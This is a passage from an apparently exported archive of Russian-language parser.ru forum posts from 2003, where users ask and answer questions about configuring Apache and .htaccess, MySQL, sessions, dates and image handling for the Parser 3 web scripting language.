AllowOverride FileInfo </Directory> \
ВОПРОС: осн. конфиг. файл должен указать мне провайдер????"
"22723","> По-умолчанию, в установке Apache возможность использования .htaccess отключена.\
\
Да включена она на платных хостингах, включена, можете не сомневаться (а вообще сомневаться вредно :)). Если сомневаетесь, просто попробуйте сделать шаги с использованием .htaccess будут грабли - сначала в доку апача по этой теме, потом в доку парсера, потом в форум. Но ведь вы же нифига не делаете, я прав? Ну как тут не вспомнить русскую народную ..."
"22726","Если для админ-интерфейса или просто для закрытой части сайта - используйте только стандартную авторизацию. А дальше, как ПАФ уже писал когда-то, смотрите по своим таблицам, кому куда можно.\
\
Если для форума и т.п. - выше приведенные примеры должны помочь. И плюньте на отключенные (возможно) куки у пользователя. У большинства они включены."
"22727","...разограничения доступа к бухгалтерско-финансовой информации, содержащейся в таблицах MS-SQL.\
Поэтому меньшинство (у которых куки выключены) нельзя сбрасывать со счетов."
"22728","Все, кто сидит за какой-то proxy будут на одно лицо."
"22730","По-умолчанию, в установке Apache возможность использования .htaccess отключена. \
Если она вам необходима, разрешите их использовать (по крайней мере, задавать FileInfo). Для чего в основном конфигурационном файле веб-сервера (обычно httpd.conf) в секцию вашего <virtualhost …> вашего сайта, или вне ее - для всех сайтов, добавьте директивы: \
<Directory /путь/к/вашему/веб/пространству> \
AllowOverride FileInfo \
</Directory> \
========================\
обычно платный хостинг-провайдер разрешает использовать .htaccess\
\
для установки я использовал описание с http://www.parser.ru/hosters/350mb.ru/1/ все заработало с полоборота ;) (это описание для RedHat 7.2, выясни ОС у своего хостинг-провайдера)\
\
\
я"
"22732","Дело в том, что проект предназначен для внутрисетевого использования. А в локалке (пока) никаких проксей не ожидается. Я конечно понимаю, что мой варинат не совсем универсальный, но пока ничего другого не придумал. А все предлагаемые тут варинаты с куки меня не очень устраивают - т.к. они бывают отключены у некоторых юзеров."
"22733","Можно поступить проще:\
Есть форма входа на любой страничке.\
Пользователь вводит логин/пароль, его перебрасывает на splash скрин, который устанавливает куку и дает в адресную строку новый путь с сессионнной переменной (^math:uuid[] - http://www/blib-ssff/?S=22C0983C-E26E-4169-BD07-77ECE9405BA5 ). При дальнейшем переходе просто проверяем, есть ли куки или сессионная переменная в uri. Дальше, просто при невозможности записи в куки просто подставляем во все uri эту переменную."
"22735","чтобы его выполнили файл должен иметь бит  х\
пример:\
[code]\
chmode +x parser3.cgi\
[/code]"
"22736","Я тут поискал, все почему-то обсуждают механизм основанный на анализе даты последнего захода. А что делать, если мне нужно не новые сообщения отмечать, а именно непрочитанные?"
"22737","куку с айди прочитанного сообщения - при загрузке чекать.\
Скажем, есть кука - красный, нету - зеленый"
"22738","вы забыли поставить бит «executable»"
"22740","Завести на сервере таблицу для сообщений, в которой будет лежат что, кто, когда и сколько раз прочитал. В конце можно добавить формочку \"Зачем Вы это прочитали\" и тоже ложить в эту таблицу :)"
"22741","Вот например форум на audit-it.ru\
Там действительно id прочитанных сообщений складываются в куку. Но! Кука живет один сеанс, а инфа о прочтении сохраняется дольше. Отсюда вопрос. Что это за механизм, в котором нужна такая кука? И где все-таки хранится инфа о прочтении между сеансами?"
"22742","в командной строке(это ежели есть shell доступ или если консольный фтп клиент) или правой кнопкой в фтп клиенте и там ставите чтобы все могли его \"екзекьют\" :)"
"22744","нужно будет проверять на соответствие ВСЕ id из таблицы со ВСЕМИ (точнее, можно только с текущей страницей) id из форума."
"22745","В Мозилле есть такая удобная штука Tools -> Cookie Manager -> Manage Stored Cookies. Там все очень хорошо видно."
"22747","Я тут прикинул для этого форума она будет порядка 30МБ, а может и больше в зависимости от того что там будет храниться.\
Я считал 2 колонки user_id и message_id"
"22748","НЕ все так сложно, как кажется.\
Ваш сервер стоит на 60 пне?\
И почему ВСЕ? Хватит только тех, что показываются"
"22749","Когда в таблице было 4 id, страница (50 тредов по 3-5 сообщений) грузилась 24 секунды. Когда в таблице стало около 20 id, страница загружалась за ~68 секунд. P4-1600."
"22751","Таблицы индексировал или с файликом работал?"
"22752","22000 (сообщений) * 4 (байта на int) * 2 (кол-во столбцов) * 800 (пользователей) ~ 140 МБ, и это без учета индекса :)\
\
правда далеко не все пользователи читают все сообщения...\
\
но по скорости все должно работать очень быстро (с нормальным составным индексом)"
"22755","В хелпе прочитал:  \
1)вы забыли поставить бит «executable» \
2)или выбрали версию Parser, не соответствующую операционной системе вашего сервера (уточните ее у системного администратора).\
\
Вопрос : как сделать 1)?"
"22761","Думаю дальшу всё поймёшь сам ;)"
"22764","люди что эта такое? и как справится с этой ошибкой?\
возникло у хостера, и выскакивает на страницах, где происходит коннект к MySQL. \
\
что придумать?"
"22765","я так понял, что тут нету драйвера mysql 3.0.8\
или я не там смотрел.\
Спасибо Егорову, у него на [url=\"http://www.egoroff.spb.ru/portfolio/download/\"]сайте[/url] это есть."
"22766","/feedback/index.html(41): 'send' Parser was configured with --with-sendmail=/usr/sbin/sendmail -i -t -f postmaster key, to change sendmail you should reconfigure and recompie it [parser.runtime]\
\
это попало в лог, я так понимаю парсер собран не с тем путем к сендмайлу? и надо его пересобрать?"
"22767","в вашем @conf методе вы указали sendmail, этого в safe-mode версии делать нельзя. сотрите в @conf эти строчки, всё заработает."
"22768","Как будете настраивать - пишите или стучитев асю № 225568582\
Специально ее для этого случая завел."
"22771","У меня есть форма, в которую пользователь пигет текст с ТЕГАМИ (типа <nobr> </nobr> и &#151;), текст формы берется и парсером все концы строк заменяются на <br />, после чего текст пишется в файл (методом create класса xdoc, чтобы отловить возможные ошибки) на сервере. Так вот, теги, которые добавлены парсером, идут нормально, а теги набранные пользователем эсейпятся! И на выходе - <br /> стоят, а все остальное выглядит (в сорце) как &lt;nobr, &amp;#151; и так далее.  \
\
Как это понимать и перодолеть? И вообще, как он их отличает?"
"22773","письма почему-то не приходят на почтовый ящик?"
"22774","код из формы грязный, его надо пометить как чистый"
"22776","Ведь parser производит замены в момент отдачи, т.е. записи в файл.\
\
Только вот мне кажется заменять \\n на <br/> и т.д. надо когда ето всё отдается клиенту в браузер. \
\
А хранить лучше в исходном виде, как есть, а то придется че-нить править или обратно в форму отдать а там стоко всякого и выглядит не так..."
"22779","Может быть вы скажете наконец, [b]что[/b] вы всё-таки делаете? Спокойно, обстоятельно опишите свои действия, по типу:\
\
1. Скачал парсер для такой то платформы\
2. Поставил ему такие-то права\
3. Написал то-то в .htaccess\
4. В логе ошибок то-то, то-то\
5. Настройки ftp клиента и его лог загрузки parser3.cgi на сервер провайдера такой-то\
\
Толку будет больше, поверьте. А то получается как в анекдоте:\
\
- Петька, приборы!\
- Десять!\
- Шо десять?\
- А шо приборы?"
"22780","В FAQ подробно написано про ошибку 500 и все её причины.\
\
А ещё советую проверять такой тест парсера броузерами Netscape, Opera, Mozilla и тп.\
Так как бывает, что IE отображает 500 ошибку и тогда когда сам парсер работает."
"22781","Мой сайт уже висит на сервере.\
Но страницы Гостевая и Новости дают Unhandled Exception.\
Помогите"
"22783","Летят 2 крокодила, - сколько будет стоить килограмм гвоздей если один зелёный, другой налево?\
\
А как с моими 5-ю пунктами?\
\
PS: Какой вы упрямый однако :)"
"22784","Дык я посмотрел - парсер у вас работает...\
Поздравляю...\
(зачем было морочить голову про то, что он у вас не работает ?)\
\
Не работают страницы новости и гостевая...\
\
Тут нужен ответ на четвертый вопрос Александра Егорова."
"22787","последние несколько строчек из него дайте, а мывам подскажем куда смотреть дальше."
"22788","Уф... Вопрос здесь, если вы его не видели.\
\
http://www.parser.ru/forum/?id=22779\
\
Ответ придеться найти вам самому...\
\
P.S\
Чтобы кто то смог вам как-нибудь помочь - нужно чтобы вы привели ошибки которые пишет парсер в лог ошибок...\
По строчкам Unhandled Exeption вам никто ничего подсказать не сможет...\
Вряд ли тут есть кто-нибудь ясновидящий :)"
"22789","По ниже приведённой ссылке, скачаете полный комплект разработчика весит приблизительно 2.6M, разумеется для виндовс.\
Сразу после установки настроен для работы.\
\
http://dklab.ru/chicken/web/dis/Base_Parser/Base_Parser_2003-06-10_a1.3.27_p4.3.0_m3.23.53_pma2.3.0.exe"
"22791","[Thu Nov  6 13:07:24 2003] /news/: /home/cstei/www/news/index.html(17:2): 'mysql://****@localhost/p3test' Access denied for user: 'root@localhost' (Using password: NO) [sql.connect]"
"22792","Ой, хочу такого провайдера..."
"22793","вместо ***** должно бытьнаписано login:password\
\
где лоgin и пароль определяет провайдер"
"22794","а вообще, замените метод @unhandled_exception в конфигурационном auto.p на следующее:\
[code]\
@unhandled_exception[exception;stack]\
#use debug version to see problem details\
#^unhandled_exception_release[$exception;$stack]\
^unhandled_exception_debug[$exception;$stack]\
[/code]\
и будет вам счастье по диагностике ошибок.\
\
PS: А вообще у вас потрясяющее чувство юмора, - я долго смеялся :)"
"22797","Я для forum.gfk.ru написал текст, который высвечивается каждому посетителю, желающему запостить сообщение в форум впервые:\
\
http://forum.gfk.ru/forum/ask_then_shoot!.html\
\
Может, прикрутить сюда аналогичное?"
"22800","старой доброй <meta... no-cashe>? У меня весь контент генериться, в силу чего браузер не желает брать страницу с сервера, ибо,с точки зрения «Индейца» страница не менялась. Я чуть сгоряча не написал тот самый ноу-кэш, но это не есть совсем хорошо, не так ли? Может быть, что-то в парсере можно намутить?"
"22801","Перекинул на сервер сайт. Некоторые страницы сайта используют БД и сейчас не работают.\
\
А в какую папку на сервере кидать БД???"
"22803","http://www.parser.ru/forum/?id=22789\
\
Предлагалось скачать субж. Есть ли место, где вывешена документация на оный? И что это за зверь вообще?"
"22807","надо выдернуть 5 случайных элементов массива из 10\
переписывать перловы алгоритмы фишера-йетса лень\
\
што-нить красивое есть на вскидку?"
"22808","...но если взять и убрать из ссылки dis/Base_Parser/Base_Parser_2003-06-10_a1.3.27_p4.3.0_m3.23.53_pma2.3.0.exe\
то получиться http://dklab.ru/chicken/web/"
"22809","http://www.parser.ru/forum/?id=12771"
"22810","У меня на локальном ПК есть  каталог mysql. \
Думаю, что при переносе сайта на сервер его тоже надо перенести.\
Сайт на сервер я уже стянул. Он работает. Не работают страницы Новости и Гостевая (ведь они используют БД из этого каталога). \
Вопрос: мне просто кинуть  mysql в корневую www??"
"22811",":)"
"22812","Корневые треды (+ несколько аналогичных этого автора я удалил)\
http://www.parser.ru/forum/?id=22536\
http://www.parser.ru/forum/?id=22694\
http://www.parser.ru/forum/?id=22718\
http://www.parser.ru/forum/?id=22755\
http://www.parser.ru/forum/?id=22801\
\
Топ авторских анекдотов:\
http://www.parser.ru/forum/?id=21807\
http://www.parser.ru/forum/?id=22724\
http://www.parser.ru/forum/?id=22781 (и посмотреть на что это ответ)\
\
Какая тут к чертям реанимация?!"
"22813","Если под рукой (на локальной машине) есть phpmyadmin,то с его помощью - если нет,- то с помощью программки типа MySQL Front \
создаёте дамп структуры и данных в вашей БД.\
Сохраняете его в файл *sql у себя на машине.\
\
Потом узнаёте у вашего хостера, где находиться phpmyadmin или ещё какой-нибудь интерфейс управления БД со стороны хостера.\
Так вот потом загружаете этот файл *.sql (или его код) - тем самым создавая (уже в БД со стороны хостера) ваши таблицы и данные соответственно.\
\
На проблемы такого типа - вам может ответить ваш хостер.\
А также есть www.mysql.com/doc/ru/\
Для этого форума думаю такие вопросы излишни."
"22815","Специально для Vengr и других, страдающих аналогичной болезнью - ваше обращение с нашим \"великим и могучим\" коробит. Если не умеете писать по-человечески, пользуйтесь хотя-бы spell checker'ом Word. Достало просто - сил никаких нет."
"22818","Воспользовался методом split класса string."
"22819","http://www.cstei.lviv.ua/\
:) Давненько я такого не видел.\
Супер клиент для Лебедевкого музея клонов!"
"22821","http://asha.pp.ru/\
\
Таких примеров, по моему не мало.\
\
Я лично (это моё мнение) не понимаю как можно юзать дизайн из доки к Парсеру."
"22822","При работе с датами возникла проблема.\
Из базы берется дата, и количество дней на которые эта дата увеличивается, а потом сравнивается с текущей.\
\
Итак:\
[code]\
^connect[$connect_string]{\
$news[^table::sql{\
SELECT\
date,\
body,\
days\
FROM\
news\
ORDER BY date DESC\
\
# переводим дату в обычный формат\
$date[^date::create(${date.year};${date.month};${date.day})]\
\
}[$.limit(1)]]\
\
# прибавляем дни\
$date_days[^date::create($date+$news.days)]\
\
$now[^date::now[]]\
\
# сравниваем\
^if($now > $date_days)...\
\
}\
[/code]\
\
так вот ошибка в том, что неправильно переводится дата\
в базе у нее значение   2003-10-25 \
после перевода          1999;11;30\
после прибавления дней  1999;12;7\
\
количество дней 7\
\
Подскажите, пожалуйста, в чём ошибка, как её избежать или возможно другие пути решения задачи.\
\
Заранее благодарю."
"22823","Какой смысл размещать строчку \
[code]$date[^date::create(${date.year};${date.month};${date.day})][/code] \
в теле SQL-запроса? Во-первых в этот момент из базы ничего не получено, а во-вторых переменная $date у вас перед этой строчкой не определена. Если предполагали взять ее из результатов запроса, то надо было сделать что-то такое:\
[code]\
^connect[$connect_string]{\
   $news[^table::sql{\
       SELECT date, body, days\
         FROM news\
     ORDER BY date DESC\
   }[$.limit(1)]]\
}\
\
# переводим дату в обычный формат\
# обратите внимание, что синтаксис конструктора другой\
$date[^date::create[$news.date]]\
\
$now[^date::now[]]\
\
^if($now > $date + $news.days){\
  ...\
}\
[/code]\
\
p.s. Если у вас стоит задача установить время жизни новости, то проще хранить две даты - начала публикации и конца публикации. В этом случае выборка делается простыми средствами SQL.\
\
[code]\
   select date, body\
     from news\
    where NOW() >= start_date and NOW() < end_date\
[/code]"
"22826","1. Оттачиваешь своё мастерство :-)\
2. Привыкаешь делать сразу всё красиво\
3. Потом не краснеешь :-)"
"22827","Так что люди, для которых дизан не важен, глубоко заблуждаются...(ИМХО)"
"22828","На счёт дизайна согласен, я над ним не работал.(руки у меня не от туда ростут в этом плане)\
\
http://asha.pp.ru\
Олег"
"22829","Я бы наверное разделил все это на 2 части.\
1) Люди, которым дизайн пофигу. Ну не нужно им это, не думают они о том. Им главное смысловую нагрузку в на странице.\
2) Ну и люди, которые пытаются сделать \"хороший дизайн\", но ничерта неполучается по настоящим меркам.\
\
Вот если мы определимся, к какому типу относится создатель, тогда и можно дальше говорить:).\
\
\
Эх, навертел))"
"22831","всех поздравляю с моим днём рождения.\
\
идея выпустить сегодня © Миша."
"22839","Есть ли смысл полностью отказаться от использования PHP при программировании сайтов?"
"22840","Милый Александр!\
Спасибо за своевременное и так необходимое нам всем \
замечание по поводу живого великорусского языка...\
Поздравляю Вас с Вашим любимыи праздником\
и желаю научить всех пользоваться проверкой орфографии!\
Искренне Ваш \
...."
"22842","К тому же он проще, быстрее, новее, красивее пишется и легче читается. Сделано в России!"
"22843","Могли бы вы объяснить на примере Гостевой книги из мануала (5 урок) ?"
"22844","А еще к такому дню хочется своего добавить: http://slyworks.net.ru/projects/sw.Card/\
\
Оцените!"
"22845","Наконец доделал черновой вариант. Это еще не sw.Refresh, но уже что-то. Попробуйте ее, эта штука может пригодиться в хозяйстве (я думаю).\
http://www.slyworks.net.ru/projects/sw.Card/\
Что можно исправить и доделать существенного? Пишите на мыло и сюда, очень хочется здоровой критики!"
"22846","Спасибо  жизни за то, что встречаются такие люди как Вы. Желаю Вам всего, что только может быть хорошего с человеком.\
\
От всей души."
"22848","Здравствуйте.\
все время писал только код аштмл и вот решил заняться веб-программированием и нашел парсер, за душу он взял очень сильно! особенно после того как вручную аштеемелевский код по всему сайту переделаешь...\
Скачал Дэнвер и парсер, и ничего не получается :-( что к чему может кто подскажет?"
"22849","если кто захочет ответить то пусть знает что ни с АПАЧИ ни с MySQL ни еще с чем нибудь таким умным опыта работы нет. хочу научиться работать с парсером.\
Зарание спасибо за помощь с уважением Роман"
"22850","ВНИМАТЕЛЬНО читай доки. В часности к Парсеру и выполни тамошние уроки. Постепенно вникнешь и придет понимание многих вещей\
Удачи в освоении"
"22851","Скажите пожалуйста как проверить валидность e-mail с помощью парсера?"
"22852","Я тоже на Парсер вышел через \"Денвера\" , а , что у тебя не получается?\
Там вроде должно всё быть ОК!"
"22854","доки в денвере на русском только на парсер :-)\
уроки и начал выполнять все вроде ничо все сделал так как надо.\
ведь в денвере уже ничего не надо настраивать? так?\
когда денвер устанавливается, он создает локалхост\
соответственно я там и создал файлы auto.p и sections.cfg\
создал index.htm и прописал там ^navigation[] (всё по уроку)\
вот ответ сервера:\
\
Unhandled Exception (Debug)\
(void) not a method or junction, can not call it\
navigation\
\
t:/home/localhost/www/test/parser3/index.html(23)\
exception.type=parser.runtime"
"22855","причем парсер работает потомучто на пробной страничке он два на два умножает а вот вставить меню не хочет :-(("
"22856","C превиликим удовольствием присоединяюсь ко всем добрым поздравлениям! \
\
Предланаю в этоу честь 7.11 переименовать Парсер в ПАФсер :-) Хотяб на один день!"
"22857","Денвер автоматически работает с виртуальными хостами (это гораздо удобнее, чем все складывать в папку localhost). В папке home делаешь, например, папку lesson1, в ней папку www и кидаешь туда auto.p, index.html, sections.cfg и файлик .htaccess с таким содержанием:\
\
# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
\
После этого рестарт Денвера и набираешь в браузере \"lesson1\". Все. Должно работать. Если не получается, посмотри лог ошибок (home/lesson1/error.log и usr\\local\\parser3\\parser3.log). Проверь еще раз свой код и разделение tab-ом в sections.cfg.\
Если и после этого не работает - в zip-e присылай на мыло - гляну."
"22858","В \"Парсере\" 3.1.1 XML под Windows (CGI и модуль Apache) выдается ошибка на проверенном коде:\
[code]\
class is undefined\
xdoc [для xnode тоже]\
\
exception.type=parser.runtime[/code]\
\
Библиотеки XML прежние (от 3.1.0), только gc.dll из нового дистрибутива."
"22859","А я вот наоборот подумаю перейти на ПХП, почему? Почему? Из за работы с графикой. Пока только из за этого. Но одно скажу точно, парсер, УДОБНЕЙ, понятней и логичней. Если бы в парсере была полноценная поддержка работы с графикой, то я бы о ПХП и думать наверное не стал. А то как сейчас реализована уменьшение картинок и т.д. это порно."
"22861","Версия 3.1.1 для Windows выдает ошибку и говорит, что не может найти msvcr71.dll - это, видимо, runtime-библиотека от MS Visual С. Версия 3.1 такую ошибку не выдавала, на рабочей машинке (WinXP) такого файла вообще нет, filesearch.ru ничего не находит.\
\
Где можно взять эту библиотеку?"
"22862","Полностью согласен, коллега. Таже ситуация - из-за необходимости работать с графикой приходится и пхп изучать ;("
"22863","Наконец разобрался с классами!!!\
Спасибо вам!!!\
\
Для тех у кого возникают проблемы:\
Вот так у меня выглядит index.html :\
\
\
@main[]\
\
^header[]\
\
^body[]\
\
^footer[]\
  \
@greeting[]\
Оставьте свой след: \
\
@body_main[]\
Гостевая книга тестового сайта<br> \
<hr> \
\
@body_additional[]\
Нам пишут… \
\
@USE\
/classes/gbook.p\
\
@body_main[] \
Гостевая книга тестового сайта<br> \
<hr> \
\
$gb[^gbook::load[]] \
^gb.show_messages[] \
^gb.show_form[] \
^gb.test_and_post_message[]"
"22866","При запуске parser под windows xp выдается сообщение о том, что не найдена msvcr71.dll. Как-то некошерно получается...\
Был скачан только parser3_1_1_win32_cgi_xml.zip. Я что-то забыл скачать или так и должно быть?"
"22869","Поправили, сейчас в разделе [url=\"/download/win32/\"]скачать[/url] лежат правильные файлы + программа установки, включающая в себя все."
"22870","У меня постоянно вылезает ошибка, всё скопировал как надо, не знаю почему это происходит?\
\
Unhandled Exception (Debug)\
read failed: No such file or directory (2), actual filename 'z:/home/farecla.ru/new/forums.htm'\
z:/home/farecla.ru/new/forums.htm\
\
z:/home/farecla.ru/new/forum/forum.html(2)\
exception.type=file.missing"
"22871","Если появится resize jpega будет просто счастье :)"
"22872","Что вы думаете насчёт добавления в парсер работы с графикой? Хотя бы изменение размера. Есть ли подобное в Ваших планах?"
"22873","Imagemagic, XnView и другие предоставляют free библиотеки для многих платформ.\
\
Эти библиотеки имеют возможности о которых многие даже не мечтают :)\
\
И, зачем например мне в парсере поддержка работы с графикой если она мне не нужна? Увеличивается размер исполняемого файла и т.д...\
\
А если потребовалась: поставил библиотеку и через exec твори что угодно..."
"22874","сейчас в Парсере используется старая gdlib, которая, возможно, не умеет делать некоторых нужных вещей, но зато в ней есть довольно сносная поддержка формата GIF, если перейти на новую gd [b]сейчас[/b] - GIF придётся выкинуть, что опять-же может многим не понравиться...\
\
вобщем, [url=\"http://www.parser.ru/forum/?id=22873\"]вот тут[/url] правильно написано, лучше использовать сторонние библиотеки."
"22876","Вторая gd отлично работает с гифами :-)\
Версию, поддерживающую гифы можно взять или в портах freebsd или найти патч к официальному gd."
"22877","все сделал как надо, как написаено так и сделал, да вот что то не идет этот парсер ни в какую... тока 2 на 2 умножает :-(\
а в броузере стоит одиноко - ^navigation[] \
даже здесь (home/lesson1/error.log и usr\\local\\parser3\\parser3.log). все пусто :-(("
"22879","Я так же как и вы работаю с графикой, причем в огромных для любого языка масштабах. Выжимаю, можно сказать, все что можно.\
Сначала как и вы считал (замечу - ошибочно), что Парсеру не хватает функций работы с графикой, а потом понял - нафига Козе баян. Ведь есть библиотека ImageMagick которая прекрасно цепляется и работает (что для нас с вами главное).\
Притом вариации работы с ней могут быть какими угодно, можно запускать готовые модули: convert, composite и т.д., а можно использовать крохотный перловый скрипт... И все это доступно.\
На худой конец можно написать скрипт для Gimp-а, надеюсь слышали о таком редакторе, по умолчанию идет в любой linux-овой системе. Он даже нарисовать за вас все что угодно сможет.\
Gimp - есть и для windows поэтому совместимость платформ должна быть полная.\
Теперь о базовых знаниях. Я не программер (дизайнер) - в программировании ламер (Misha v.3 подтвердит :-) ), тем не менее технологию прикручивания ImageMagick к Парсеру освоил за пару дней. Значит и вам это по силам - вопрос только в желании попробовать.\
Спрашивайте, если что."
"22881","Даёшь новую GD :)"
"22882","Лох, я лох, и ламер полный!!!\
Спасибо Luger-у вразумил.\
Luger у меня все тоже самое что и ты мне прислал за исключением одной вещи и я думаю главной изза чего у меня ничего не получалось!!!\
Я открывал блокнот в нем все делал и сохранял auto.p и думал что все у порядке, тока сейчас глянул а он тоесть блокнот после поставил еще и .txt получилось auto.p.txt - не думаю что парсер будет это обрабатывать. \
А теперь вопрос так в каком редакторе все это делать что бы при сохранении были нужные файлы а не текстовые. Или я вообще не прав?   Строго не судите я ведь самоучка. :-)"
"22883","на сколько я знаю, до недавнего времени gd поддерживала только чтение из GIF (read-only), возможно сейчас ситуация изменилась, давно не интересовалься этой проблемой..."
"22885","Пример по \"Изменению размеров графических изображений внешними программами\" я уже посмотрел.\
Спасибо за совет.\
;)"
"22886","Никак не могу настроить!!!\
Помогите люди добрые, в paser3.log такаое сообщение :\
\
/forum.html: z:/home/forum.ru/www/templates.htm(57:6): 'checkLogged' undefined method [parser.runtime]"
"22888","кто объяснит?"
"22893","совсем недавно на этом форуме говорилось о неподдержании парсером графики тогда как на всех этих сайтах графика есть ??\
новерно опять глупость сморозил - я просто пытаюсь понять суть парсера и его возможности"
"22894","т.е. нужно,например, сделать фотогалерею: система сама (!) делает уменьшенные изображения из больших. В самом Парсере такие возможности не развиты (они ему и не нужны http://www.parser.ru/forum/?id=22879). Но примеры решения такой задачи с помощью Парсер + сторонние библиотеки есть.\
\
Что касается обычной графики, то Парсер оперирует с html, значит <img src=\"...\" > работает, и со статичной графикой проблем нет."
"22895","Лучше поздно чем никогда, а Лучше никогда не поздно.\
\
Голосую за PAFсер :)"
"22896","Будьте здоровы, не кашляйте. Ждём парсер 4.0 и file::base64 :))"
"22897","Пришли пожалуйста остальные уроки в том же стиле как и lesson1.\
Ты прислал я все понял, дальше никак :-((\
заранее благодарен"
"22898","Делать тоже самое с остальными, честно говоря, влом. Да и тебе не полезно, мозги расслабляет.\
\
Мой совет: ДУМАТЬ, читать ВНИМАТЕЛЬНО документацию, ИСКАТЬ по форуму, если не получается - спрашивать, в форуме всегда помогут ;)"
"22899","+ приятно, что автор ставит перед собой реальные цели\
+ это первая free-надстройка на базе парсера (или нет ?)\
- XML уже отработанная технология, без него тяжко :)\
\
в общем, я требую продолжения банкета :)"
"22900","во втором уроке просто не понятно что куда писать: с меню навигации я разобрался, колонку я выделил другим цветом а вот  со структурой страниц никак не разберусь что куда и где прописывать. Даже вопрос толком не могу задать потому как просто напросто никак не пойму что к чему на примере же уже цифровом все понятно. \
...А для получения уникального заголовка страниц в каждой из них определим функцию greeting, которая вызывается из header: \
\
для главной страницы: \
@greeting[] \
Добро пожаловать! \
\
для гостевой книги: \
@greeting[] \
Оставьте свой след… ...\
Куда это вставлять непосредственно в тела страниц htm\
где кроме ^navigation[] больше ничего нет, или же это вставлять в auto.p  или еще куда нить?\
я везде пробовал...\
А может быть у меня руки не от туда растут ?? :-()"
"22901","Парсер найдет определение этого метода и вставит необходимый заголовок в нужное место страницы (это место указано в auto.p вызовом ^greeting[]). Все элементарно до неприличия :)"
"22903","Почему $MAIN:CLASS_PATH[/] корневого auto.p, указывающая на корень web-пространства (или это чисто в корень папок этого уровня?), относительно указывает на нужный файл, а при использовании внутри папки второго уровня указывает на файл относительной самой папки, т.е.:\
\
1. 'x:/home/sw.card/www/lang/ru/special/admin.lang' - вызов из корня\
2. 'x:/home/sw.card/www/admin/lang/ru/special/admin.lang' - вызов из /admin/\
\
Мне нужно, чтоб корневой MAIN:CLASS_PATH указывал на папку, в которой лежит корневой же auto.p, причем можно было обращаться по относительному пути в любой вложенной папке. Как это реализовать?"
"22904","Продолжение в процессе. Хоть один человек обратил внимание на топик. А когда разговоры да мечты были с месяц назад, так тут все аж слюной от энтузиазма захлебывались, даже форум отдельный открыли. Ан нет, получается, только я пытался. Для всех остальных походу это тока разговоры. Даже о чем-то готовом отозваться влом, все спецы не дай тебе Боже! А реально подкинуть идей?"
"22905","Как всегда написал сабж, а потом уж полез искать по форуму. В этот раз принцип \"сделай, затем подумай\" сработал.\
Искал, а толком ничего не нашел. Единственно, может, прописать так:\
[code]$CLASS_PATH[$env:DOCUMENT_ROOT][/code] \
?"
"22906","вот лично мне ни разу не требовалось переопределять CLASS_PATH единожды заданый мной в _конфигурационном_ auto.p\
\
это путь туда, где лежат библиотеки/классы, причем у меня они лежать _вне_ веб пространства (определяю так: /../data...)\
\
при определении CLASS_PATH началный слеш - это место, куда указывает DOCUMENT_ROOT\
\
далее, не просто так CLASS_PATH может содержать таблицу. можно внести в него несколько разных путей...\
\
по моему вы пытаетесь его использовать не так, как это задумывалось...\
\
P.S. кстати, в доке говориться лишь про возможность задать CLASS_PATH в конфигурационном файле, а не где-либо. и по моему это логично, т.к. в любом файле вы можете указать @USE/^use[] и эти файлы будут искаться по путям, определенным в CLASS_PATH, а учитывая то, что @USE/^use[] выполняются даже до @auto[] неясен смысл определения CLASS_PATH в этом файле..."
"22908","... получился лишний \"наворот\" на методику построения сайтов, предложенную в документации к Парсеру. Причем гораздо менее гибкий [поскольку фактически задана жесткая структура страниц]. В добавок нагорожена куча мелких статических классов, методы которых спокойно можно было просто запихнуть в класс MAIN."
"22909","Долго мучился сам, но никак не получается реализовать следующее. \
В базе есть таблица раписания электропоездов.\
Есть форма в которой можно указать приблизительно время отправления поезда.\
Нужно чтобы из базы выбирались значение +/- 30 минут от указанного в форме времени. У меня что-то никак не получается.\
Подскажите, пожалуйста.\
Буду очень признателен за помощь"
"22910","[code]\
select что_нам_нужно\
  from откуда\
 where time_to_sec(time) \
       BETWEEN (time_to_sec('время из формы')-1800) AND (time_to_sec('время из формы')+1800)\
[/code]\
\
Скорее всего прийдется отдельно обрабатывать ситуацию когда вс происходит +/- 30 минут от полуночи."
"22912","Вот так всегда бывает, работает форум и работает. Постят в него и постят. А сегодня постю сообщение на тему встречи и бац - UE на тему MySQL. Вообчем дело оказалось в апострофе, который я использовал в тексте.\
\
Вопрос в следующем: кто как подходит к разрешению это проблемы? Находит в тексте апостроф и экранирует его или как-то средствами БД(в моем случае MySQL)?\
\
Поискав по форуму нашел только наводящий вопрос PAF'а: \"[url=\"http://www.parser.ru/forum/?id=6268\"]апострофы в запросе есть? (-)[/url]\" :)"
"22913","если про этот, то я не совсем понимаю о чем т.к. тут вроде все работало и работает.\
\
а если про како-то другой написаный на парсере - то скорее всего не верно использовались механизмы taint-инга.\
\
\"по умолчанию все хорошо, и парсер сам все исправит\". значит кто-то что-то сделал руками (скорее всего ^taint[as-is][...] или ^untaint{...}), не до конца понимая, что именно он сделал."
"22914","Вчера плюнул на все и ушел спать (вернее не вчера а в пять утра сегодня) с незаконченным вторым уроком парсера :-))\
а сегодня за пять минут сделал и 2 и третий уроки а вот на четвертом завис на весь день. Ну не работал я никогда с БД ни с какой :-((.\
Пришлось качать учебник по SQL и еще кучу всякой всячины - но результат у меня на локалхосте :-))\
календарь со ссылками и возможностью добавления новостей в БД вау все атк просто оказалось - ПОКА просто.\
Спасибо разработчикам за такую удивительную вещь как Парсер!!!\
с уважением Роман"
"22915","Методика построения индивидуального сайта и готовый набор скриптов - 2 большие разницы. Вы же не думаете, что я, когда писал, мечтал о том, как Вы или, например, Misha, или (наверняка) Александр Петросян будет использовать мой полуфабрикат. Это, в первую очередь, чтоб научиться, сделать что-то законченное. А полезно для бОльшей части форума, которая до сих пор также, как и я, учится. Может, в \"Примеры\" засунуть - типа как делать не надо?\
\
Критика принята, спасибо за внимание. Пусть мое предложение отличается от доки, но оно наглядно работает.\
\
Про гибкость - если Вы внимательно прочли, то это черновая версия, в которой даже конструктора страниц нет. Когда будет, тогда и начнем критиковать удобство/гибкость. А я лично думаю, что получится удобно.\
\
p.s. Я не в восторге от такого кол-ва кода в одном файле. Если Вам в кайф разбираться в таком бардаке или постоянно использовать префиксы, то ради Бога!"
"22916","От счастья или от злости на тупость человека, с которым пришлось пообщаться на форуме?"
